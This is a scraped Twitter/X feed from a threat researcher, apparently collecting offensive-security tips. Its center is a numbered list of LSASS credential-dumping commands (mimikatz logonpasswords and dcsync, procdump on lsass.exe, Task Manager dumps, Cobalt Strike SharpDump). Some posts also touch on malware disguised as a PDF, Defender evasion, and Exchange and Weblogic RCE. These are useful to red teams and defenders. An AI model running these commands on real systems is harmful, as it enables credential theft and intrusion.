Net.Hun73r

Threat Researcher (Former Forensic, Malware Analyst, Reverse Engineer)

[0x6rss @0x6rss]

Android malware (.apk) can be spread through a fake PDF document by manipulating the file extension in the WhatsApp application. I showed how it is done in the video below.

[Net.Hun73r @NetHun73r]

#0x14 > Cobalt Strike+mimikatz_command
Methods: Mimikatz_command sekurlsa::minidump

#0x15 > Cobalt Strike+taskkill
Methods: taskkill /f /im lsass.exe

[Net.Hun73r @NetHun73r]

lsass dump

#0x01 > Mimikatz

Methods: Sekurlsa::logonpasswords Sekurlsa::minidump lsadump::dcsync

#0x02 > ProcDump

Methods: procdump -ma lsass.exe lsass.dmp procdump -accepteula -64 -ma lsass.exe lsass.dmp

#0x03 > Process Hacker

Methods: System->LSASS process->Create Dump

[Net.Hun73r @NetHun73r]

#0x10 > Windows Error Reporting
Methods: HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps->DumpType->2 Lsass-Shtinkering.exe

#0x11 > LiveKd
Methods: LiveKd.exe -w !process 0 0 lsass.exe .process /p [lsass PID] .dump /ma [dump file path]

[Net.Hun73r @NetHun73r]

#0x12 > Task Manager
Methods: Powershell -ep bypass Get-Process lsass C:\Windows\System32\Taskmgr.exe /dumpfile=C:\lsass.dmp /pid=
#0x13 > Cobalt Strike+SharpDump
Methods: Execute-assembly SharpDump Or load sharpdump

[LuemmelSec @theluemmel]

Really nice approach from @t3l3machus with the hoaxshell: https://t.co/hs3HqwBAQm
Not only undetected by Defender :)

[Net.Hun73r @NetHun73r]

@1rpwn همون اول که گفتم بهت

[Net.Hun73r @NetHun73r]

pegasus mobile app gathering data

[Cube0x0 @cube0x0]

https://t.co/S6Nbo7cVIx now with more potato.

Locally trigger system or cross-session user authentication

[Net.Hun73r @NetHun73r]

In Figure 4, we see the SSRF vulnerability on one of the CAS configured headers, which is the first step in the attack.

[Net.Hun73r @NetHun73r]

#Microsoft #Exchange #Vulnerabilites
Recently, a presentation by a researcher named Orange Tsai was released at the Blackhat 2021 conference that introduces the vulnerabilities of ProxyLogon, Proxyshell and ProxyOracle

[Net.Hun73r @NetHun73r]

In Figure 3, you can see the process of this Proxying request, which is copied from the Header and Cookies, and in the Proxy Section, the Authenticate and Authotize process takes place.

[Net.Hun73r @NetHun73r]

Since the Exchange server is widely used in government organizations, these vulnerabilities can be significant. It is a service

Figure 1 shows the process of service evolution. In 2016/2019 versions, a module called Client Access Service was added.

[Net.Hun73r @NetHun73r]

Windows-auditing-mindmap

[Net.Hun73r @NetHun73r]

@pwn_world @farnaziifz خستگی از تنمون رفت

[Net.Hun73r @NetHun73r]

because it will be a good platform for discovering bugs for bug bounty ...

https://t.co/p1ZunQpLNU
https://t.co/KdX46cQwTT

[Net.Hun73r @NetHun73r]

#Unauthenticated #Weblogic #RCE
For many years, Weblogic services on different platforms have led to RCE attacks that are the result of various vulnerabilities, so the discovery of vulnerabilities as WhiteBox in these services is very important

[Net.Hun73r @NetHun73r]

the java.beans.XMLDecoder class, and with an html encoding the input command to the exploit. Put it in command_filtered and call the start method as void and RCE happens just as easily,Friends, do not ignore the discussion of Weblogic Pentest,